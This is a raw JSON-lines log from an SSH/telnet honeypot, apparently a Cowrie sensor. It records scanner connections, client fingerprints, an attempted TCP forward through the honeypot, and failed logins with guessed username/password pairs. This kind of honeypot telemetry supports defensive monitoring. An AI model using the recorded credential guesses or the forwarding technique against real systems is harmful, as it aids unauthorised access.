|\\xd0t\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:33.808249Z","src_ip":"80.94.95.118","session":"fd248486a615","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.152.119","dst_port":443,"src_ip":"80.94.95.118","src_port":53552,"message":"direct-tcp connection request to 142.251.152.119:443 from 127.0.0.1:53552","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:34.066909Z","session":"fd248486a615","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.152.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.152.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:35.723944Z","src_ip":"80.94.95.118","session":"fd248486a615","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.152.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfc\\xac\\xb3?\\x82%d\\x99\\xa3~o\\x94\\x00%r\\xcf\\x1bYK\\x1d^@\\x13\\xbbxk\\xc5!h\\x13\\xa3\\xb5 \\x00\\xfaXH\\xf7\\xa3\\xf7l\\xba\\xb2\\xaf\\xd9\\x13\\x8bU\\x95\\xe8C\\xb4\\x87ZM\\x96\\xfaff\\x7f1\\xe9\\xe0\\x16\\x88\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 $\\x1bY\\xb4\\x8d\\xff9P\\xb5\\x80\\x88=\\x1b\\xaa\\x08\\xe2\\x9b\\xecrj-]\\xa7\\xcdwa\\xdd\\x97R\\xfcB\\x13\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.152.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfc\\xac\\xb3?\\x82%d\\x99\\xa3~o\\x94\\x00%r\\xcf\\x1bYK\\x1d^@\\x13\\xbbxk\\xc5!h\\x13\\xa3\\xb5 \\x00\\xfaXH\\xf7\\xa3\\xf7l\\xba\\xb2\\xaf\\xd9\\x13\\x8bU\\x95\\xe8C\\xb4\\x87ZM\\x96\\xfaff\\x7f1\\xe9\\xe0\\x16\\x88\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 $\\x1bY\\xb4\\x8d\\xff9P\\xb5\\x80\\x88=\\x1b\\xaa\\x08\\xe2\\x9b\\xecrj-]\\xa7\\xcdwa\\xdd\\x97R\\xfcB\\x13\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:35.728389Z","src_ip":"80.94.95.118","session":"fd248486a615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:36.315028Z","src_ip":"80.94.95.118","session":"fd248486a615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":50994,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2078e04e535","protocol":"ssh","message":"New connection: 5.75.137.141:50994 (10.17.0.5:22) [session: a2078e04e535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:52.354422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:52.357816Z","src_ip":"5.75.137.141","session":"a2078e04e535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:52.445680Z","src_ip":"5.75.137.141","session":"a2078e04e535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pancakeswap","password":"PANCAKESWAP","message":"login attempt [pancakeswap/PANCAKESWAP] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:52.623371Z","src_ip":"5.75.137.141","session":"a2078e04e535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:46:53.713822Z","src_ip":"5.75.137.141","session":"a2078e04e535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.6.218.215","src_port":48040,"dst_ip":"10.17.0.5","dst_port":23,"session":"36e37a7b3055","protocol":"telnet","message":"New connection: 27.6.218.215:48040 (10.17.0.5:23) [session: 36e37a7b3055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:47:00.991430Z"}
{"eventid":"cowrie.session.closed","duration":15.844812393188477,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:47:16.836119Z","src_ip":"27.6.218.215","session":"36e37a7b3055","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":45652,"dst_ip":"159.203.135.109","dst_port":22,"session":"663d55e71c01","protocol":"ssh","message":"New connection: 138.128.241.222:45652 (159.203.135.109:22) [session: 663d55e71c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:50:08.010370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:50:08.017997Z","src_ip":"138.128.241.222","session":"663d55e71c01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:50:08.023769Z","src_ip":"138.128.241.222","session":"663d55e71c01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"theta","password":"Theta2017","message":"login attempt [theta/Theta2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:50:08.038235Z","src_ip":"138.128.241.222","session":"663d55e71c01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:50:09.046372Z","src_ip":"138.128.241.222","session":"663d55e71c01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":50420,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc78c45e3e5d","protocol":"ssh","message":"New connection: 5.75.240.121:50420 (10.17.0.5:22) [session: dc78c45e3e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:54:18.624908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:54:18.629470Z","src_ip":"5.75.240.121","session":"dc78c45e3e5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:54:18.724516Z","src_ip":"5.75.240.121","session":"dc78c45e3e5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vlx","password":"vlx2018","message":"login attempt [vlx/vlx2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:54:18.915665Z","src_ip":"5.75.240.121","session":"dc78c45e3e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:54:20.011842Z","src_ip":"5.75.240.121","session":"dc78c45e3e5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":39316,"dst_ip":"159.203.135.109","dst_port":22,"session":"a26a811b127c","protocol":"ssh","message":"New connection: 159.65.30.211:39316 (159.203.135.109:22) [session: a26a811b127c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:25.918814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:25.923121Z","src_ip":"159.65.30.211","session":"a26a811b127c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:25.994651Z","src_ip":"159.65.30.211","session":"a26a811b127c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"compound","password":"compound1","message":"login attempt [compound/compound1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:26.142587Z","src_ip":"159.65.30.211","session":"a26a811b127c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:27.216938Z","src_ip":"159.65.30.211","session":"a26a811b127c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":50478,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cc79fa125db","protocol":"ssh","message":"New connection: 185.156.73.233:50478 (159.203.135.109:22) [session: 3cc79fa125db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:43.072510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:43.388097Z","src_ip":"185.156.73.233","session":"3cc79fa125db","protocol":"ssh"}
